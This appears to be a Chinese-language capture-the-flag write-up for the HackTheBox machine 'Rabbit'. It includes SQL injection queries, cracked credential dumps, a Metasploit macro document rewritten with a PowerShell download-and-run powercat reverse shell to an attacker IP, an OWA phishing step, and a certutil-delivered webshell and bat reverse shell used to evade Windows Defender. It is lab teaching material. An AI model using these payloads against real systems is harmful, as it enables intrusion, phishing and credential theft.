HTB: Rabbit

2022-06-30 15:59:29 浏览数 (1)

Rabbit是一个非常困难的靶机,知识点涉及垂直越权、SQL注入、邮件钓鱼、服务提权、Windows Defender绕过等。通过SQL注入可获取CMS中的账号密码,登陆OWA发送钓鱼邮件获取权限,绕过Windows Defender依靠Apache服务完成提权。感兴趣的同学可以在HackTheBox中进行学习。

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描

代码语言:javascript复制
nmap -Pn -p- -sV -sC -A 10.10.10.71 -oA nmap_Rabbit

扫描结果显示目标开放了80、88、135、443、445等端口,不愧是”狡兔三窟“,端口实在是多

80端口

访问后显示403

443端口

访问后发现这是 IIS 7 的默认界面

对站点进行目录扫描

代码语言:javascript复制
gobuster dir -u https://10.10.10.71 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

但是需要添加 -k 参数,否则会出现无效证书的报错信息

正常情况访问到的目录都指向https://10.10.10.71/owa

访问该目录发现这是 outlook 邮件登陆界面

Outlook是由微软公司所出品Office内的个人信息管理系统软件,功能包括收发电子邮件、查看日历等

8080端口

访问后发现这是一个演示界面

对站点进行目录扫描

代码语言:javascript复制
gobuster dir -u http://10.10.10.71:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

分别访问目录/joomla/complain

/joomla目录中未发现可利用点

/comlain目录则采用了 Complain Management System,默认账号密码为 admin/admin123

垂直越权漏洞

使用默认账号密码登录失败,尝试在注册页面http://10.10.10.71:8080/complain/register.php中注册账户,设置账号密码为 admin/admin123,用户类型为 Customer

注册完成后进入用户界面,点击View Complain Details发现其参数对应的是mod=customer&view=compDetails

mod修改为admin,可以垂直越权看到投诉详情

SQL注入漏洞

Complain Management System 除了越权以外还存在SQL注入漏洞,漏洞地址为http://10.10.10.71:8080/complain/view.php?mod=admin&view=repod&id=plans,我们尝试进行手工注入 参考文章1:https://www.exploit-db.com/exploits/42968 参考文章2:https://www.exploit-db.com/exploits/41131

首先看看数据库的基本信息,当前数据库版本为 5.7.19,当前用户为 Dbuser@localhost

代码语言:javascript复制
id=engineer union all select 1,version(),3,user(),5,database(),7--

查看所有数据库名,其中包含secretJoomla

代码语言:javascript复制
id=engineer union all select 1,schema_name,3,4,5,6,7 from information_schema.schemata--

查看secret数据库中的所有表,其中包含users注:需要将库名修改为hex编码

代码语言:javascript复制
id=engineer union all select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=0x736563726574--

查看users表中所有列名

代码语言:javascript复制
id=engineer union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name=0x7573657273--

获取users表中字段usernamepassword当中的数据

代码语言:javascript复制
id=engineer union all select 1,username,password,4,5,6,7 from secret.users--

获取到的账号密码如下:

代码语言:javascript复制
 Kain       33903fbcc0b1046a09edfaa0a65e8f8c
 Raziel     719da165a626b4cf23b626896c213b84
 Ariel      B9c2538d92362e0e18e52d0ee9ca0c6f
 Dimitri    D459f76a5eeeed0eca8ab4476c144ac4
 Magnus     370fc3559c9f0bff80543f2e1151c537
 Zephon     13fa8abd10eed98d89fd6fc678afaf94
 Turel      D322dc36451587ea2994c84c9d9717a1
 Dumah      33da7a40473c1637f1a2e142f4925194
 Malek      Dea56e47f1c62c30b83b70eb281a6c39
 Moebius    A6f30815a43f38ec6de95b9a9d74da37

当然我们也可以通过 sqlmap 来获取信息,但是需要在其中填入 Cookie 信息

代码语言:javascript复制
sqlmap -u 'http://10.10.10.71:8080/complain/view.php?mod=admin&view=repod&id=plans' --cookie='PHPSESSID= ' -D secret -T users --dump

通过破解网站对获取到的密文进行破解 破解网站:https://crackstation.net/

解密结果如下:

代码语言:javascript复制
33903fbcc0b1046a09edfaa0a65e8f8c md5 doradaybendita
719da165a626b4cf23b626896c213b84 md5 kelseylovesbarry
B9c2538d92362e0e18e52d0ee9ca0c6f md5 pussycatdolls
D459f76a5eeeed0eca8ab4476c144ac4 md5 shaunamaloney
370fc3559c9f0bff80543f2e1151c537 md5 xNnWo6272k7x
13fa8abd10eed98d89fd6fc678afaf94 Unknown Not found.
D322dc36451587ea2994c84c9d9717a1 Unknown Not found.
33da7a40473c1637f1a2e142f4925194 md5 popcorn
Dea56e47f1c62c30b83b70eb281a6c39 md5 barcelona
A6f30815a43f38ec6de95b9a9d74da37 md5 santiago

0x02 上线[raziel]

OWA邮件钓鱼

通过账号密码 Kain/doradaybendita 登录OWA并查看其中的邮件

在邮件中可以发现其中部署了 Open Office,但是计算机中 Windows Defender 已开启、PowerShell 已限制。

制作木马

我们可使用 MSF 针对 Open Office 生成反弹shell文档msf.odt

代码语言:javascript复制
msfconsole
msf > use exploit/multi/misc/openoffice_document_macro
msf > set srvhost 10.10.14.17
msf > set lhost 10.10.14.17
msf > run

将文档后缀名修改为.zip并将其解压

代码语言:javascript复制
mv msf.odt msf.zip

解压后找到Basic/Standard/目录并编辑文件Module1.xml修改payload

代码语言:javascript复制
powershell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.17/powercat.ps1');powercat -c 10.10.14.17 -p 1234 -e cmd

但是由于 powershell 的限制,我们需要将其版本修改为 2

代码语言:javascript复制
powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.17/powercat.ps1');powercat -c 10.10.14.17 -p 1234 -e cmd;

将 powercat.ps1 复制到本目录下并开启 http 服务

代码语言:javascript复制
cp /root/hackthebox/Machines/Jeeves/powercat.ps1 .
python -m SimpleHTTPServer 80

在本地监听1234端口

代码语言:javascript复制
nc -nvlp 1234
邮件发送

选择邮件发送但是无法上传文件。后来发现我们需要在登录口选择轻量版进入才可以上传文件

将用户切换为 Ariel 后上传文件并向每个联系人发送邮件

反弹shell

经过漫长的等待之后成功反弹shell

在当前用户桌面上寻找第一个flag

代码语言:javascript复制
dir C:UsersRazielDesktop
type C:UsersRazielDesktopuser.txt

成功拿到第一个flag,但是这个shell每隔一段时间就会断开

0x03 权限提升[system]

信息收集

系统信息

查看系统信息

代码语言:javascript复制
systeminfo

结果显示目标系统安装多个补丁,经过检测后发现无法使用内核提权

进程服务

查看进程未发现可用信息

代码语言:javascript复制
tasklist /v

查看服务信息发现 apache 和 mysql 服务都为 system 权限

代码语言:javascript复制
wmic service where started=true get name,startname

可借助 Apache 服务完成提权操作

Windows Defender限制

查看当前用户对 wamp 根目录为何种权限

代码语言:javascript复制
cacls C:wamp64

结果显示具有写入权限,进入 web 目录并插入 webshell

代码语言:javascript复制
echo '<?php echo system($_GET["cmd"]);?>' > cmd.php
certutil -urlcache -split -f http://10.10.14.17/cmd.php c:wamp64wwwcmd.php

但是木马 cmd.php 直接被 Windows Defender 杀掉了,尝试上传 nc.exe

代码语言:javascript复制
certutil  -f -split -urlcache  http://10.10.14.17/nc.exe C:Tempnc.exe

没过一会 nc.exe 也被杀掉了,还是使用最初的 powershell v2 来绕过 Windows Defender

Windows Defender绕过

创建 cmd.bat 文件用于设置反弹shell

代码语言:javascript复制
powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.17/powercat.ps1');powercat -c 10.10.14.17 -p 2345 -e cmd;

创建 cmd.php 文件用于执行bat文件

代码语言:javascript复制
<?php echo exec("C:wamp64wwwcmd.bat");?>

使用 certutil 上传 cmd.bat、cmd.php

代码语言:javascript复制
certutil -urlcache -split -f http://10.10.14.17/cmd.php c:wamp64wwwcmd.php
certutil -urlcache -split -f http://10.10.14.17/cmd.bat c:wamp64wwwcmd.bat

在本地监听2345端口

代码语言:javascript复制
nc -nvlp 2345

访问 cmd.php 成功获得目标shell

代码语言:javascript复制
curl http://10.10.10.71:8080/cmd.php

在管理员桌面上寻找第二个flag

代码语言:javascript复制
dir c:UsersAdministratorDesktop
type c:UsersAdministratorDesktoproot.txt

成功获取第二个flag

0 人点赞